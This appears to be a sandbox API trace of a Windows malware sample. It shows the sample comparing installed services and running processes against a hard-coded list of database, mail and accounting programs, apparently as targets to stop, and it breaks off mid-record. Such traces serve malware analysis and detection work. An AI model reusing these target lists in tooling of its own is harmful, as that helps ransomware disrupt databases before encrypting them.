lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0069.331] lstrlenW (lpString="EventSystem") returned 11 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0069.331] lstrlenW (lpString="gpsvc") returned 5 [0069.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0069.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0069.331] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0069.331] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0069.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0069.331] lstrlenW (lpString="iphlpsvc") returned 8 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0069.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0069.332] lstrlenW (lpString="LanmanServer") returned 12 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0069.332] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0069.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0069.332] lstrlenW (lpString="LanmanWorkstation") returned 17 [0069.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0069.332] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0069.333] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0069.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0069.333] lstrlenW (lpString="lmhosts") returned 7 [0069.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0069.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0069.333] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0069.333] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0069.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0069.333] lstrlenW (lpString="MMCSS") returned 5 [0069.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0069.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0069.333] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0069.333] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0069.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0069.333] lstrlenW (lpString="MpsSvc") returned 6 [0069.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0069.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0069.334] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0069.334] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0069.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0069.334] lstrlenW (lpString="Netman") returned 6 [0069.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0069.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0069.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0069.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0069.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0069.334] lstrlenW (lpString="netprofm") returned 8 [0069.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0069.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0069.334] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0069.334] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0069.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0069.334] lstrlenW (lpString="NlaSvc") returned 6 [0069.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0069.335] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0069.335] lstrlenW (lpString="nsi") returned 3 [0069.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0069.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0069.335] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0069.335] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0069.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0069.335] lstrlenW (lpString="PcaSvc") returned 6 [0069.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0069.335] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0069.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0069.335] lstrlenW (lpString="PlugPlay") returned 8 [0069.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0069.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0069.336] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0069.336] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0069.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0069.336] lstrlenW (lpString="Power") returned 5 [0069.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0069.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0069.336] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0069.336] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0069.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0069.336] lstrlenW (lpString="ProfSvc") returned 7 [0069.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0069.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0069.336] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0069.336] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0069.336] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0069.336] lstrlenW (lpString="RpcEptMapper") returned 12 [0069.336] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.336] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0069.336] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0069.337] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0069.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0069.337] lstrlenW (lpString="RpcSs") returned 5 [0069.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0069.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0069.337] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0069.337] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0069.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0069.337] lstrlenW (lpString="SamSs") returned 5 [0069.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0069.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0069.337] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0069.337] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0069.337] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0069.337] lstrlenW (lpString="Schedule") returned 8 [0069.337] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0069.337] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0069.337] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0069.337] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0069.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0069.338] lstrlenW (lpString="SENS") returned 4 [0069.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0069.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0069.338] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0069.338] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0069.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0069.338] lstrlenW (lpString="ShellHWDetection") returned 16 [0069.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0069.338] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0069.338] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0069.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0069.338] lstrlenW (lpString="Spooler") returned 7 [0069.338] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0069.338] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0069.338] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0069.338] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0069.338] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0069.339] lstrlenW (lpString="SysMain") returned 7 [0069.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0069.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0069.339] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0069.339] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0069.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0069.339] lstrlenW (lpString="Themes") returned 6 [0069.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0069.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0069.339] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0069.339] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0069.339] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0069.339] lstrlenW (lpString="TrkWks") returned 6 [0069.339] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0069.339] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0069.339] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0069.339] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0069.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0069.340] lstrlenW (lpString="UxSms") returned 5 [0069.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0069.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0069.340] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0069.340] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0069.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0069.340] lstrlenW (lpString="WdiServiceHost") returned 14 [0069.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0069.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0069.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0069.340] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0069.340] lstrlenW (lpString="WdiSystemHost") returned 13 [0069.340] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.340] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0069.340] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0069.340] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0069.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0069.341] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0069.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0069.341] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0069.341] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0069.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0069.341] lstrlenW (lpString="Winmgmt") returned 7 [0069.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0069.341] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0069.341] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0069.342] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0069.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0069.342] lstrlenW (lpString="WPDBusEnum") returned 10 [0069.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0069.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0069.342] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0069.342] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0069.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0069.342] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ec0220 | out: hHeap=0x5d0000) returned 1 [0069.342] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x18c [0069.356] Process32FirstW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0069.506] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0069.508] lstrlenW (lpString="System") returned 6 [0069.508] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0069.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0069.508] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0069.509] lstrlenW (lpString="smss.exe") returned 8 [0069.509] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0069.509] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0069.509] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0069.509] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0069.509] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0069.510] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0069.510] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0069.510] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.511] lstrlenW (lpString="csrss.exe") returned 9 [0069.511] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0069.511] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0069.511] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0069.511] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0069.511] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0069.511] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0069.511] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0069.511] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0069.512] lstrlenW (lpString="wininit.exe") returned 11 [0069.512] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0069.513] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0069.513] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0069.515] lstrlenW (lpString="csrss.exe") returned 9 [0069.515] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0069.515] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0069.515] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0069.515] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0069.515] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0069.515] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0069.515] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0069.516] lstrlenW (lpString="winlogon.exe") returned 12 [0069.517] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0069.518] lstrlenW (lpString="services.exe") returned 12 [0069.518] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0069.519] lstrlenW (lpString="lsass.exe") returned 9 [0069.519] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0069.520] lstrlenW (lpString="lsm.exe") returned 7 [0069.520] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.521] lstrlenW (lpString="svchost.exe") returned 11 [0069.521] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.523] lstrlenW (lpString="svchost.exe") returned 11 [0069.523] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.524] lstrlenW (lpString="svchost.exe") returned 11 [0069.524] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.525] lstrlenW (lpString="svchost.exe") returned 11 [0069.525] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.526] lstrlenW (lpString="svchost.exe") returned 11 [0069.526] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0069.528] lstrlenW (lpString="audiodg.exe") returned 11 [0069.528] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.529] lstrlenW (lpString="svchost.exe") returned 11 [0069.529] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.530] lstrlenW (lpString="svchost.exe") returned 11 [0069.530] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0069.531] lstrlenW (lpString="dwm.exe") returned 7 [0069.532] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0069.533] lstrlenW (lpString="explorer.exe") returned 12 [0069.533] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0069.534] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.534] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0069.535] lstrlenW (lpString="svchost.exe") returned 11 [0069.535] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0069.536] lstrlenW (lpString="taskhost.exe") returned 12 [0069.536] Process32NextW (in: hSnapshot=0x18c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, 